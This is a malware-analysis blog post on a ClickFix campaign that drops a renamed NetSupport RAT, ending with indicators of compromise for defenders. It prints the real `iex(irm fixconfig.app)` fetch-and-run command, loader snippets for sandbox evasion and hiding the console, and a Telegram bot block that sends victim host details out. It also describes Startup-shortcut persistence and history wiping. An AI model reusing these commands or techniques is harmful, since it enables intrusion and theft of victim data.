*Published: 8/13/2026*
> **High-level Overview:** A ClickFix `iex(irm fixconfig.app)` paste ran an in-memory PowerShell loader that compiled its own helper DLLs on the box, reported the victim to a Telegram bot named ClickHunter, then sideloaded NetSupport Manager (renamed `Flaut.exe`) into `C:\ProgramData\PaperStreamCapture\` and persisted via a Startup `.lnk`. The EDR solution caught it at pre-execution, but the loader ran far enough to lay down the full RAT payload and its persistence.
## Attribution
Delivery traces to UNC5518, an initial access broker that Google Threat Intelligence and Mandiant have tracked since June 2024 as a financially motivated cluster with no public tie to a state-sponsored origin. UNC5518 runs access-as-a-service, compromising legitimate websites at scale to serve the fake ClickFix pages and then selling or handing the resulting foothold to downstream actors. Because they serve multiple buyers, one UNC5518 lure can resolve to very different second-stage malware depending on which customer takes the access, which is why ClickFix chains lead to so many unrelated families.
Known downstream customers include:
- UNC5774, a financially motivated group that deploys the CORNFLAKE.V3 backdoor as its own loader for follow-on payloads.
- UNC4108, a cluster of unknown motivation that uses PowerShell to deploy VOLTMARKER and NetSupport RAT alongside hands-on reconnaissance.
Some of these downstream operators have pushed their footholds into ransomware, at times through Russian-speaking RaaS affiliate networks. The NetSupport payload in this case lines up with UNC4108's known tradecraft, so the chain reads as UNC5518 access handed to a NetSupport-deploying customer rather than a targeted intrusion. It also matches the ClickFix-to-NetSupport activity Netskope, Cybereason, and SANS ISC documented through 2026, along with the SmartApeSG cluster SANS ISC has tracked across its ClickFix pages and the EVALUSION campaign eSentire's TRU named in November 2025. NetSupport itself is a legitimate product from NetSupport Ltd, abused here by renaming `client32.exe` to `Flaut.exe` and running it from `ProgramData`.
## The chain at a glance
```
[explorer.exe] user pastes into Run box
│
└─▶ powershell.exe -c "iex(irm fixconfig.app)"
│ DNS fixconfig.app → 144.202.4.36 :80 + :443
│
├─▶ stage guard: exit if $env:ComputerName matches "CLEAN" (XOR/char-array decoded)
├─▶ hides its own console (Add-Type GetConsoleWindow + ShowWindow/SetWindowPos offscreen)
├─▶ csc.exe + cvtres.exe ×3 → compiles helper DLLs to %TEMP%\*.dll on the fly
│
├─▶ ip-api.com (geo/ISP fingerprint)
├─▶ api.telegram.org → bot "ClickHunter" sendMessage (PC/user/IP/geo/OS/admin)
│
└─▶ drops NetSupport RAT → C:\ProgramData\PaperStreamCapture\
Flaut.exe (renamed client32.exe) + HTCTL32/PCICL32/PCICHEK/TCCTL32.DLL
client32.ini (dropped as hrxvw.ini) → C2 laborado[.]net:443 / expendia[.]net:443
│
├─▶ hijacks a Startup .lnk (here Send to OneNote.lnk) → launches via explorer.exe
├─▶ wipes RunMRU (erases the Win+R paste from Run-box history)
└─▶ Flaut.exe (NetSupport) configured to reach the gateway on :443
```
## Stage-by-stage
### Stage 0: ClickFix delivery
The parent is `explorer.exe`, so the command came straight from the `Win + R` Run dialog. The lure domain drops the fake-captcha theater entirely and just reads like a config fix.
> [!example]- ClickFix root
> ```python
> "powershell.exe" -c "iex(irm fixconfig.app)"
> ```
`irm fixconfig.app` pulls the loader from `144.202.4[.]36` and `iex` runs it in memory. `fixconfig.app` is the whole payload host, no random subdomain and no path selector this time.
### Stage 1: the in-memory loader
`fixconfig.app` returns a PowerShell loader that never writes itself to disk. It opens with a fake banner, a block comment reading `MICROSOFT SECURITY INTELLIGENCE UPDATE` with invented session and series identifiers and a line telling the user not to close the window, so anyone who catches the running script reads it as a Microsoft updater.
Before it does anything the loader reads the hostname and returns if it matches the string `CLEAN`, which it encodes three different ways across the stages: an XOR array (`@(123,116,125,121,118)` each `-bxor 56`), a character-code array (`[char]67,76,69,65,78`), and base64 (`KkNMRUFOKg==` for `*CLEAN*`). `CLEAN` is a common analysis-VM hostname, so the loader quietly bails on anything that looks like a sandbox.
It then hides its own window with inline C# compiled through `Add-Type`, calling `GetConsoleWindow` and then `ShowWindow(hwnd, 0)` to hide the console and `SetWindowPos(..., -32000, -32000, ...)` to shove it off-screen. Two `Start-Sleep` calls of one to three and a half random seconds break up the timing before it continues.
Almost none of that is easy to spot, because most of the script is padding. The captured content already runs past a thousand lines with roughly two-thirds of them variable assignments that compute a value and never read it back, things like `[math]::Sqrt(8402)`, `[math]::PI`, `[guid]::NewGuid().ToString().Substring(0, 8)`, `[int]('3856')`, bare arithmetic such as `58 * 48`, and arrays of random five-character strings, each pattern repeated dozens of times. The functional code, maybe thirty lines, sits inside that wall and leans on the same handful of tricks to stay quiet: sensitive tokens are assembled rather than written (`('Com'+'puter'+'Name')`, `[string]::Concat(...)`, `'EtMY'.Replace('U8','cN')`), the environment is read through `Get-Item -LiteralPath ('Env:'+...)` instead of `$env:`, numeric constants are computed with single-byte XOR (`228 -bxor 20`), and filenames, labels, and the payload bytes are all base64. Staging folders are generated fresh per run with `-join ((97..122) | Get-Random -Count 10 | ForEach-Object { [char]$_ })`, so there is no fixed path to catch.
> [!example]- The wall: a representative slice of the junk padding
> ```powershell
> $r9s7UX4y0PIM = [math]::Sqrt(8402)
> $QhYFVanivuZLU = 58 * 48
> $LLbWrhl1hjrv = [math]::PI
> $QiS1fJ9ifh2 = 7315 + 717
> $faU6xMTaU4P = [guid]::NewGuid().ToString().Substring(0, 8)
> $CYNvEI6Y7a2N5 = [int]('3856')
> $BWtL9Urbyx = [string]::Concat('FsPD', 's4zt')
> $ZaxDYeozF7K = 'OKrB'.Replace('MZ', 'W3')
> $O60FuNfv1nC = 'sPS39JJF'.Length
> $qw2o6yE3sy = @('tMWTl', 'RMFhW', 'vjnTw')
> # ...hundreds more, none of the results ever used
> ```
> [!example]- The real logic, pulled out of the wall
> ```powershell
> # hostname sandbox-guard, 'CLEAN' rebuilt by XOR
> $h = (Get-Item -LiteralPath ('Env:'+('Com'+'puter'+'Name')) -ErrorAction SilentlyContinue).Value
> $g = -join (@(123,116,125,121,118) | ForEach-Object { [char]($_ -bxor 56) }) # -> CLEAN
> if ($h -and $h -match $g) { return }
> # random per-run staging folder name
> $randName = -join ((97..122) | Get-Random -Count 10 | ForEach-Object { [char]$_ })
> # timing jitter
> Start-Sleep -Milliseconds (Get-Random -Minimum 1990 -Maximum 3160)
> ```
### Stage 2: compiling helpers on the box
The loader calls `Add-Type`, which spawns `csc.exe` (the .NET compiler) three times, each producing a helper DLL in `%TEMP%` (`4dtk1c30.dll`, `4f0r0gjj.dll`, `0tl3duhd.dll`) with `cvtres.exe` alongside. This is the console-hiding and P/Invoke code getting compiled locally rather than shipped as a binary, so there is no pre-built DLL to flag and the compiler doing the work is a signed Microsoft tool.
### Stage 3: victim report to Telegram
The loader fingerprints the host through `ip-api.com` (external IP, city, region, ISP, timezone) and local calls (`Win32_OperatingSystem`, `DisplayVersion`, admin check, architecture), then POSTs it all to `api.telegram.org` as a bot `sendMessage`. The message is self-labeled:
> [!example]- Telegram victim report (ClickHunter)
> ```python
> $__tgT = '8698633751:AAF...QhoQTU' # bot token
> $__tgC = '-1004329861608' # chat id
> $__msg = @('ClickHunter','Event: launch',('PC: '+$env:COMPUTERNAME),
> ('User: '+$env:USERDOMAIN+'\'+$env:USERNAME),('IP: '+$__ip),('Geo: '+$__geo),
> ('ISP: '+$__isp),('OS: '+$__os),('Admin: '+$__adm),('Time: '+(Get-Date ...)))
> ```
`ClickHunter` is the operator's name for the kit, and the per-victim Telegram ping is how they see fresh infections land in real time. The loader also drops a tray `NotifyIcon` with a shield and the base64 label `Windows Security` to sell the "your PC is being secured" story while it works.
The domain and both gateways will rotate, and the payload directory and client filename are regenerated per run, but the Telegram ping has to stay, because it's how the operator knows access landed and how it gets sold on. `api.telegram.org` resolved by `powershell.exe` isn't normal on a user endpoint, and the `ip-api.com` lookup just before it looks the same.
### Stage 4: NetSupport RAT sideload
The final stage carries its payload as base64 PE blobs embedded in the script and writes them to `C:\ProgramData\PaperStreamCapture\`. The file set is NetSupport Manager, a legitimate remote-control product abused as a RAT: `HTCTL32.DLL`, `PCICL32.DLL`, `PCICHEK.DLL`, `TCCTL32.DLL`, `pcicapi.dll`, `remcmdstub.exe`, `msvcr100.dll`, and `AudioCapture.dll`, with the client renamed to `Flaut.exe`. The config drops as `hrxvw.ini` and is renamed to `client32.ini` next to it, and that is the only file in the set carrying operator-specific detail. NetSupport's real executable is `client32.exe`, so a renamed copy running out of `ProgramData` instead of `Program Files` is the tell.
The deploy logic tries several folders in random order (a fresh random-named `ProgramData` dir, an `AppDataCache` fallback, then existing non-Windows `ProgramData` subdirs) and stops at the first that takes the write, so the exact path varies per run. On this host it landed in `PaperStreamCapture`, which belongs to Fujitsu's scanner software and was already on the box, so the payload sits in a real application directory rather than anything the loader created. One stray Russian error string sits in the deploy function, `Не найден исполняемый файл` ("executable file not found"), and it is the only plaintext non-English string in a script where every other label is base64 or assembled from fragments, so it reads as a developer's own debug message left behind rather than anything deliberate.
The `client32.ini` is where the C2 lives, pointing at `laborado[.]net:443` as the primary gateway with `expendia[.]net:443` as secondary. It is set for silent operation, with `silent=1`, `SysTray=0`, and `ShowUIOnConnect=0` hiding the client and `DisableClientConnect`, `DisableDisconnect`, `DisableChatMenu`, and `DisableRequestHelp` stripping anything the user could click to notice or stop it. A leftover `[_Info]` line, `Filename=C:\Users\Administrator\Pictures\5\client32.ini`, is the path on the operator's own build box rather than the victim's.
For persistence the loader grabs a random existing `.lnk` in the user's Startup folder and rewrites its target to launch the RAT through `explorer.exe`, falling back to creating `SecurityHealth.lnk` only if Startup is empty, and on this host it hijacked `Send to OneNote.lnk`. It then clears `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` so the pasted `Win + R` command drops out of the Run box history.
## What stands out
- There's no fake captcha at all, just a plain `fixconfig.app` domain and an on-host "Windows Security" tray icon doing the reassurance work the reCAPTCHA screen usually does.
- The loader builds its own console-hiding helpers on the box with `csc.exe` rather than shipping a DLL, so the compile runs through a signed Microsoft binary and there's nothing prebuilt to flag.
- It refuses to run on a host named `CLEAN`, encoded three separate ways, so it skips anything that looks like a sandbox.
- Every victim is reported to a named Telegram bot (`ClickHunter`) the moment it lands, which is how these kits get operated and sold.
- The payload is a legitimate RMM tool, NetSupport renamed to `Flaut.exe` and run out of `ProgramData` with a `client32.ini` locked down so the user can't see or stop it.
- It cleans up behind itself, wiping the `RunMRU` key so the pasted command drops out of the Run box and hijacking an existing Startup shortcut instead of dropping an obvious new one.
## Indicators
**Domains / IPs**
- `fixconfig.app` (ClickFix loader host), `144.202.4[.]36` :80/:443
- `laborado[.]net:443` (NetSupport C2, primary gateway)
- `expendia[.]net:443` (NetSupport C2, secondary gateway)
- `ip-api.com` (`208.95.112[.]1`), victim geo/ISP fingerprint (legitimate service, abused)
- `api.telegram.org` (`149.154.166[.]110`), C2/victim reporting
**Telegram**
- Bot token `8698633751:AAF...QhoQTU`, chat id `-1004329861608`, kit label `ClickHunter`
**NetSupport config (`client32.ini`)**
- `GatewayAddress=laborado[.]net:443`, `SecondaryGateway=expendia[.]net:443`
- `gsk=GI<C@GEJ:D>JCHGL<OAIEO:H>MCGHN` (gateway security key, encoded)
- `RADIUSSecret=dgAAAPpMkI7ke494fKEQRUoablcA` (gateway auth blob, encoded)
- build-box artifact `[_Info] Filename=C:\Users\Administrator\Pictures\5\client32.ini`
**Paths / artifacts**
- `C:\ProgramData\PaperStreamCapture\` (NetSupport payload, an existing Fujitsu scanner directory; deploy path randomizes per run)
- `Flaut.exe` (renamed NetSupport `client32.exe`), config dropped as `hrxvw.ini` then renamed `client32.ini`
- Startup `.lnk` hijack (here `Send to OneNote.lnk`), fallback `SecurityHealth.lnk`
- `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` cleared (anti-forensics)
- `%TEMP%\*.dll` compiled via `csc.exe` (loader helpers)
**SHA256**
- `56ebaf8922749b9a9a7fa2575f691c53a6170662a8f747faeed11291d475c422`: Flaut.exe (NetSupport client)
- `2cc8ebea55c06981625397b04575ed0eaad9bb9f9dc896355c011a62febe49b5`: AudioCapture.dll
- `6562585009f15155eea9a489e474cebc4dd2a01a26d846fdd1b93fdc24b0c269`: HTCTL32.DLL
- `b6d4ad0231941e0637485ac5833e0fdc75db35289b54e70f3858b70d36d04c80`: PCICL32.DLL
- `0cff893b1e7716d09fb74b7a0313b78a09f3f48c586d31fc5f830bd72ce8331f`: PCICHEK.DLL
- `6ffe12cdfe0a36dec4b4a40ecdafb4097b1af7c340b0fcecf9f5c67b7fa8b299`: TCCTL32.DLL
- `2dfdc169dfc27462adc98dde39306de8d0526dcf4577a1a486c2eef447300689`: pcicapi.dll
- `8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18`: msvcr100.dll
- `b11380f81b0a704e8c7e84e8a37885f5879d12fbece311813a41992b3e9787f2`: remcmdstub.exe
- `474c620f1dc001d5cb842296eed466af632d5d96353cb6093b86ed13623d8501`: Send to OneNote.lnk (persistence)
## References
- Google Cloud (Mandiant), "A Cereal Offender: Analyzing the CORNFLAKE.V3 Backdoor" (UNC5518, UNC5774, UNC4108). https://cloud.google.com/blog/topics/threat-intelligence/analyzing-cornflake-v3-backdoor
- Netskope, "From ClickFix to MaaS: Exposing a Modular Windows RAT and Its Admin Panel." https://www.netskope.com/blog/from-clickfix-to-maas-exposing-a-modular-windows-rat-and-its-admin-panel
- SANS ISC, "Unidentified RAT pushes NetSupport RAT." https://isc.sans.edu/diary/Unidentified+RAT+pushes+NetSupport+RAT/33034
- SANS ISC, "SmartApeSG campaign uses ClickFix page to push NetSupport RAT." https://isc.sans.edu/diary/32474
- Cybereason, "Deploying NetSupport RAT via WordPress & ClickFix." https://www.cybereason.com/blog/net-support-rat-wordpress-clickfix
- eSentire TRU, "EVALUSION Campaign Delivers Amatera Stealer and NetSupport RAT." https://www.esentire.com/blog/evalusion-campaign-delivers-amatera-stealer-and-netsupport-rat